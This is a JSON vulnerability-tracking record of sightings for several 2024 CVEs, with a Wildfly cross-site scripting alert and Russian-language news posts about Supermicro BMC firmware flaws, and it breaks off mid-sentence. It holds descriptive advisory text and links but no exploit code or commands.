{"vulnerability": "CVE-2024-1023", "sightings": [{"uuid": "ea13b03d-fdc8-4455-96eb-c1db01953d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10237", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113944595931890808", "content": "", "creation_timestamp": "2025-02-04T08:09:14.590310Z"}, {"uuid": "56533cbd-d783-4094-a7f2-8eb28d6d21ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10238", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113944595947820582", "content": "", "creation_timestamp": "2025-02-04T08:09:15.137319Z"}, {"uuid": "2eeb1df8-7697-4b5c-8a3e-fdba44977334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10239", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113944595962559024", "content": "", "creation_timestamp": "2025-02-04T08:09:15.375737Z"}, {"uuid": "f06cb688-e22b-479a-88b4-b3851ab4ed1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10237", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdmivcaaq2p", "content": "", "creation_timestamp": "2025-02-04T08:15:48.164277Z"}, {"uuid": "bf0d7b1c-9d59-4ca1-bc7f-d3593cdbed4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10238", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdmiygoh22t", "content": "", "creation_timestamp": "2025-02-04T08:15:50.787179Z"}, {"uuid": "f5845239-de2e-4f02-8d87-db7d638ac759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10239", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdmj2urnn2f", "content": "", "creation_timestamp": "2025-02-04T08:15:53.944194Z"}, {"uuid": "5824947e-aace-4809-93d1-87733537590a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10234", "type": "seen", "source": "https://gist.github.com/zhenthebuilder/1e7fde3e1823a8bff41dcd90eb043164", "content": "", "creation_timestamp": "2025-06-06T23:58:34.000000Z"}, {"uuid": "dd01ecaf-0996-40a3-baab-08df95cd6bfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10234", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6189", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-10234\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: A vulnerability was found in Wildfly, where a user may perform Cross-site scripting in the Wildfly deployment system. This flaw allows an attacker or insider to execute a deployment with a malicious payload, which could trigger undesired behavior against the server.\n\ud83d\udccf Published: 2024-10-22T13:17:57.891Z\n\ud83d\udccf Modified: 2025-03-03T11:07:27.735Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:2025\n2. https://access.redhat.com/errata/RHSA-2025:2026\n3. https://access.redhat.com/security/cve/CVE-2024-10234\n4. https://bugzilla.redhat.com/show_bug.cgi?id=2320848", "creation_timestamp": "2025-03-03T11:30:18.000000Z"}, {"uuid": "90832e4b-6d71-40c7-8f08-29f73e0bd7cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10234", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17996", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-10234\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: A vulnerability was found in Wildfly, where a user may perform Cross-site scripting in the Wildfly deployment system. This flaw allows an attacker or insider to execute a deployment with a malicious payload, which could trigger undesired behavior against the server.\n\ud83d\udccf Published: 2024-10-22T13:17:57.891Z\n\ud83d\udccf Modified: 2025-06-10T20:58:55.120Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:2025\n2. https://access.redhat.com/errata/RHSA-2025:2026\n3. https://access.redhat.com/errata/RHSA-2025:2029\n4. https://access.redhat.com/security/cve/CVE-2024-10234\n5. https://bugzilla.redhat.com/show_bug.cgi?id=2320848", "creation_timestamp": "2025-06-10T21:32:06.000000Z"}, {"uuid": "aa589ac1-e786-4731-b753-9e4b15ec2c7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10237", "type": "seen", "source": "https://t.me/tech_b0lt_Genona/5741", "content": "\u041c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u043b\u0430\u0442\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Supermicro \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u044b \u043d\u0435\u0443\u0434\u0430\u043b\u044f\u0435\u043c\u044b\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e\nhttps://habr.com/ru/news/951560/\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0442\u0430\u043b\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e Supermicro \u0432 \u044f\u043d\u0432\u0430\u0440\u0435. \u041e\u0431 \u044d\u0442\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e\u0441\u043d\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440 Binarly \u0410\u043b\u0435\u043a\u0441 \u041c\u0430\u0442\u0440\u043e\u0441\u043e\u0432. \u041f\u043e \u0435\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u043c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0434\u043b\u044f CVE-2024-10237 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430. \n\n\u0417\u0430\u0442\u0435\u043c Binarly \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432\u0442\u043e\u0440\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u043e\u0433\u043e \u0436\u0435 \u0442\u0438\u043f\u0430.\n\n\u041e\u0431\u0435 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0439 ILObleed \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u043a\u043e\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0440\u0430\u0436\u0430\u043b \u0441\u0435\u0440\u0432\u0435\u0440\u044b HP Enterprise \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439-\u043e\u0447\u0438\u0441\u0442\u0438\u0442\u0435\u043b\u0435\u043c, \u0431\u0435\u0437\u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043d\u043e \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0430\u044e\u0449\u0435\u0439 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0436\u0451\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u0430\u0445. \u0414\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043f\u0435\u0440\u0435\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043c\u0435\u043d\u044f\u043b\u0438 \u0436\u0451\u0441\u0442\u043a\u0438\u0435 \u0434\u0438\u0441\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0435\u0440\u044b, ILObleed \u0441\u043d\u043e\u0432\u0430 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b \u0430\u0442\u0430\u043a\u0443 \u0441 \u043e\u0447\u0438\u0441\u0442\u043a\u043e\u0439 \u0434\u0438\u0441\u043a\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u0431\u044b\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d HP \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u0433\u043e\u0434\u0430\u043c\u0438 \u0440\u0430\u043d\u0435\u0435, \u043d\u043e \u043d\u0435 \u0431\u044b\u043b \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u00ab\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u0443\u044e \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u044c \u043d\u0430 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0430\u0440\u043a\u0430\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Supermicro, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u0446\u0435\u043d\u0442\u0440\u0430\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u043e\u043c\u00bb, \u2014 \u043f\u043e\u044f\u0441\u043d\u0438\u043b \u041c\u0430\u0442\u0440\u043e\u0441\u043e\u0432. \n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a CVE-2025-7937 \u0438 CVE-2025-6198, \u043e\u043d\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u0440\u0435\u043c\u043d\u0438\u0435\u0432\u044b\u0445 \u0447\u0438\u043f\u043e\u0432, \u043f\u0440\u0438\u043f\u0430\u044f\u043d\u043d\u044b\u0445 \u043a \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u043c \u043f\u043b\u0430\u0442\u0430\u043c Supermicro, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0432 \u0446\u0435\u043d\u0442\u0440\u0430\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u043e\u0439 (BMC) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438, \u043a\u0430\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u044b \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438 \u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0432\u0435\u043d\u0442\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u0432. BMC \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0432\u0430\u0436\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f UEFI (Unified Extensible Firmware Interface), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u0437\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u041e\u0421. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u043e\u043f\u0446\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u0430\u0436\u0435 \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u044b. \n\n\u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\n\u041c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u043b\u0430\u0442\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Supermicro \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u044b \u043d\u0435\u0443\u0434\u0430\u043b\u044f\u0435\u043c\u044b\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e\nhttps://arstechnica.com/security/2025/09/supermicro-server-motherboards-can-be-infected-with-unremovable-malware/\n\n\u0417\u042b\n&gt; \u0433\u0435\u043d\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440 Binarly \u0410\u043b\u0435\u043a\u0441 \u041c\u0430\u0442\u0440\u043e\u0441\u043e\u0432\n\n\u041e\u043b\u0434\u044b, \u043a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \ud83d\ude0e\n\n\u041a\u043e\u0433\u0434\u0430-\u0442\u043e \u0434\u0430\u0432\u043d\u043e \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0434\u043a\u0430\u0441\u0442 \u043f\u0440\u043e \u0418\u0411 - Virus Free Podcast (\u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u044b\u043f\u0443\u0441\u043a \u0432 2010 \u0433\u043e\u0434\u0443)\nhttps://virlab.podfm.ru/virus_free/\n\n\u0410 \u043f\u043e\u0442\u043e\u043c \u0442\u0440\u0430\u043d\u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f/\u043f\u0435\u0440\u0435\u0440\u043e\u0434\u0438\u043b\u0441\u044f \u0432 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0434\u043a\u0430\u0441\u0442 \u043f\u0440\u043e \u0418\u0411 - Noise Security Bit (\u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u044b\u043f\u0443\u0441\u043a \u0432 2013 \u0433\u043e\u0434\u0443)\nhttps://podster.fm/podcasts/noisebit\n\n\u0422\u0430\u043a \u0432\u043e\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u0435\u043c \u0438 \u0432\u0435\u0434\u0443\u0449\u0438\u043c \u0432 \u043e\u0431\u043e\u0438\u0445 \u0431\u044b\u043b \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041c\u0430\u0442\u0440\u043e\u0441\u043e\u0432 (\u0441\u043e\u0432\u0435\u0434\u0443\u0449\u0438\u0435 \u0438 \u0433\u043e\u0441\u0442\u0438 \u0442\u043e\u0436\u0435 \u0431\u044b\u043b\u0438 \ud83c\udf1d)", "creation_timestamp": "2025-09-30T17:37:10.000000Z"}, {"uuid": "680a0bb3-1e16-493b-b030-217ed615aa3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-10237", "type": "exploited", "source": "https://t.me/true_secator/7461", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Binarly \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f Supermicro, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Baseboard Management Controller (BMC), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 Root of Trust \u0438 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0445 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432.\n\nSupermicro - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442 \u0438 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u0426\u041e\u0414\u043e\u0432. BMC - \u044d\u0442\u043e \u043c\u0438\u043a\u0440\u043e\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u043d\u0430 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442\u0430\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Supermicro, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0430.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Binarly \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043e\u0431\u0445\u043e\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-10237), \u043a\u043e\u0442\u043e\u0440\u0443\u044e Supermicro \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0440\u0443\u0433\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043a\u0430\u043a CVE-2025-6198.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043a\u0430\u043a \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 BMC, \u0442\u0430\u043a \u0438 \u043d\u0430\u0434 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u041e\u0421 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c BMC \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e CVE-2025-6198 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 BMC RoT (Root of Trust) - \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439.\n\n\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0438 \u043f\u0435\u0440\u0435\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u041e\u0421, \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 